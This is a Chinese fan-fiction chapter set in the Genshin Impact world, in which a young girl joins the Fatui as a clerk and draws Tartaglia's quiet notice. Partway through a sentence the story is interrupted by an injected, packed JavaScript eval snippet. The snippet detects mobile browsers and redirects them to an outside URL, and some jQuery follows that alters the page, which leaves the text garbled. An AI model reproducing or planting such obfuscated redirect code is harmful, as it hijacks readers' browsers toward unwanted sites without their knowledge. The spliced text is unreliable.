阿言醒来的时候，天还没亮。
窗户关不严，风从缝隙里挤进来，吹得她缩了缩脖子。她躺在床上盯着黑漆漆的天花板，过了好一会儿才想起来自己在哪里。
愚人众，招募处，那个叫达达利亚的人把她带进来的，虽然他说这里的人都称呼他为【公子】。
她坐起来，把被子叠好，下床穿好衣服，又就着盆里冰凉的水洗了把脸。
冷水激得她一抖，但很快就习惯了。
门被敲响。
“醒了没？”好像是昨天带她来这个房间的人的声音:“跟我走，带你去吃饭。”
阿言打开门。
门外站着一个年纪不大的士兵，看起来也就十几岁，脸上没什么表情。
他上下打量了她一眼，昨天天色太暗，再加上她一身都是雪，都没看清楚她的长相。
现在看清了，却发现她的长相并不是至冬本地人的长相，黑发黑眸……有点像从璃月来的【富人】大人。
他没说什么，只是让她跟上。
走廊很长，拐了好几个弯。路上遇见几个人，有的穿着愚人众统一的服装，只是男女不一样。偶尔也会看到穿着其他衣服的人，这一路上有的人看到她会顺势看一眼，有的则是无视，似乎并不在意一个突然冒出来的人。
她跟着那个人走进一间大屋子，里面摆着几张长桌，有人正在吃饭。
空气里有热汤的味道，她的肚子叫了一声。
那个人指了指角落的一张桌子。
“坐那儿等着。”然后他走了。
阿言走过去坐下，桌子有点高，她的脚够不着地，悬在半空晃着。
过了一会儿，有人端着一个碗走过来，放在她面前。
碗里是热汤，还有两块黑面包。
“吃吧。”那人说完也没说什么其他的，直接就走了。
阿言看着那碗汤，热气冒上来，扑在她脸上。
她已经很久没闻到热东西的味道了。
她端起碗，喝了一口。
烫。
但她没停，哪怕烫的她不由得吐舌头。
吃完饭后，又有人来带她。
这次是一个穿长袍的人，戴着眼镜，梳着大背头，文质彬彬的，只是看起来比之前那些人年纪大些。
他看见她的时候，目光顿了顿，随后移开。
“跟我来。”
阿言跟着他走，穿过走廊，上了楼梯，最后停在一扇门前。那人推开门，里面是一间不大的屋子，堆满了文件和纸张。
“以后你在这儿做事。”那人指了指角落的一张桌子，“先学着把文件理清楚，整理错了会出事。”
他走到一堆文件前面，随手抽出一份，放在她桌上。
“把这些按日期排好，不会的就问。”
阿言看了一眼那份文件，日期她知道怎么认，养父母教过她认字，她学得很快。
她扭头看了看屋子另一头，那里坐着一个人，低着头在写字，没往这边看。
那个戴眼镜的人已经走到门口，回头看了她一眼。
“还有问题？”
阿言摇头。
那人走了。
阿言在椅子上坐下，开始翻那份文件。
第一页的日期是17日，第二页是12日。她把12日那页抽出来放在上面，17日的放在下面。继续翻，后面还有更早的，她把顺序一张一张调好。
翻到一半，屋子另一头那个人抬起头，看了她一眼。
“新来的？”
阿言点头。
那女孩收回视线，继续写字。
一上午过去，她把那摞文件按日期排好，摞成整整齐齐的一摞。
中午有人送饭来，她吃完，继续翻下一摞。
傍晚的时候，那个戴眼镜的人又来了。他拿起她排好的那摞文件，翻了翻，点了点头。
“还行。”
他看了她一眼，没再说什么，走了。
阿言继续坐着，把手头最后几页整理完。
还行。
她想着，还行应该就是还可以的意思吧？
---
接下来的日子，每天都是这样。
早上起来，叠被子，洗漱，去吃饭，然后去那间堆满文件的屋子，做那个戴眼镜的人交代的事。
后面她才知道他的名字，诶斯顿。
一开始是排日期，后来是抄写，再后来是整理归档。
她学习能力不错，不会的偶尔问一句，问完就记住。
屋子里偶尔会有别人。
有时候是那个女孩，有时候是别人。
他们不怎么说话，她也就不说话。
她学会了不看不该看的东西，不问不该问的问题，不想不该想的事。
有一天，她正在抄一份文件，门被推开。
她抬头看了一眼。
是他，达达利亚。
达达利亚走进来，目光扫过屋子里。扫到她的时候，他看了一眼——他记得这个小丫头，一头黑发黑瞳，在至冬很少见。
他的目光在她脸上停了一瞬，然后移开。
“那个谁，”他对诶斯顿说道:“我要的文件呢？”
诶斯顿从一堆文件里抽出一份，递过去。
达达利亚接过，翻了翻，点了点头。
“行。”
他转身要走，走到门口又停下来，回头看了一眼。
目光又落在阿言身上。，发现她正低着头继续写字，完全没抬头。
他看了两秒，然后收回视线。
走了。
---
日子就这么过下去。
一个月过去。
两个月过去。
三个月过去。
阿言做的事情越来越多，越来越杂。诶斯顿不再每天来看她，只是偶尔路过的时候扫一眼。
她还是不怎么说话，有人跟她说话，她就回答，不问就不说。
有一天，那个叫叶卡琳捷的女孩忽然问她。
“你多大了？”
阿言想了想:“十二。”
叶卡琳捷愣了一下: “十二？这么小？”
虽然知道她这幅干瘦的模样，年龄应该不大，但是没想到居然这么小，
阿言没说话。
她看着阿言，目光里有点奇怪的东西。
“你是怎么进来的？”
阿言直言道:“公子大人带我进来的。”
叶卡琳捷又愣了一下。
“公子大人？”她压低声音，“你认识公子大人？”
阿言想了想: “不算认识。”
她跟达达利亚只有最初在雪天那次说的话多些，进来以后，交流更少了。
叶卡琳娜盯着她看了几秒，然后收回视线，没再问。
阿言继续抄写。
又过了几天，叶卡琳娜忽然又开口。
“你吃饭的时候，坐的那张桌子，是执行官大人他们常坐的。”
阿言抬头看她。
她指了指食堂的方向。
“就是最里面那张长桌。平
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420345|200815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时都是执行官大人在坐，虽然执行官大人不经常来，但你刚来不知道，坐了也没人赶你，但以后注意点。”
阿言想了想。她确实每次都坐那张桌子。没人说过不让坐，她就一直坐。
“知道了。”她说。
那女孩看了她一眼，没再说话。
晚上回到那间小屋子，她躺在床上，想着那张桌子的事。
执行官大人他们那拨人常坐的，她的确看到达达利亚每次都是坐在那里。
她想起那天吃饭的时候，他走进来，直接坐在那张长桌的中间。而她坐在角落，隔着几张桌子，低头吃饭。
他应该没看见她。
也许看见了。
他那双眼睛，她看不出来。
---
那天之后，她偶尔会在走廊里遇见他。
有时候他从外面回来，浑身带着寒气，从她身边走过去。他的目光会扫过她，也没开口，然后继续走。
阿言知道他看见她了，但偶尔她也会觉得也许他没看见。
有时候他站在某处和别人说话，目光偶尔会飘过来，落在她身上，又飘走。轻飘飘的，像是看见了，又像是没看见。
之前有一次，她正在食堂吃饭，坐在那张长桌的角落。达达利亚走进来落座，他就在她斜对面坐下。
她低着头吃饭，没看他。
吃到一半，她听见他在跟旁边的人说话。
“今年新来的那批，有能用的吗？”
旁边的人说了几句，她没听清。
她继续吃饭。
吃到差不多的时候，她感觉有人在看她。她抬起头，正对上他的目光。
他看着她，距离有些远，他眼里还是没有她的倒影。
但他确确实实在看她。
然后他收回视线，继续跟旁边的人说话。
她低下头，把最后一口饭吃完，端着碗站起来。
走到门口的时候，她听见身后有人说话。
“那个谁，应该是叫……阿言吧？”
她停下来，回头。
达达利亚正看着她，目光落在她脸上。
“还活着？”
阿言愣了一下，然后点头。
达达利亚收回视线，没再开口，继续吃饭。
阿言在原地，站了两秒，然后推门出去。
走廊里很冷。
她无声无息的走着。
还活着。
她想。
他还记得她。
---
年底的时候，诶斯顿把她叫过去。
“这一年做得还行。”他说，“明年继续。”
阿言点头。
诶斯顿看了她一眼，眼镜片后面的目光让人看不清。
“有人问起过你。”
阿言抬头看他。
诶斯顿也没多说，挥了挥手。
“出去吧。”
阿言转身要走，走到门口又停下来，回头问道:“谁问的？”
诶斯顿看着她，沉默了两秒。
“是公子大人。”
阿言站在原地。
他摆了摆手:“出去吧。”
阿言推门出去。
走廊里空荡荡的。
公子大人问起过她。
她并不知道在愚人众里这意味着什么。
她继续走。
回到那间小屋子，她躺下来。
窗外的风还在刮。
一年过去了。
她还活着。
---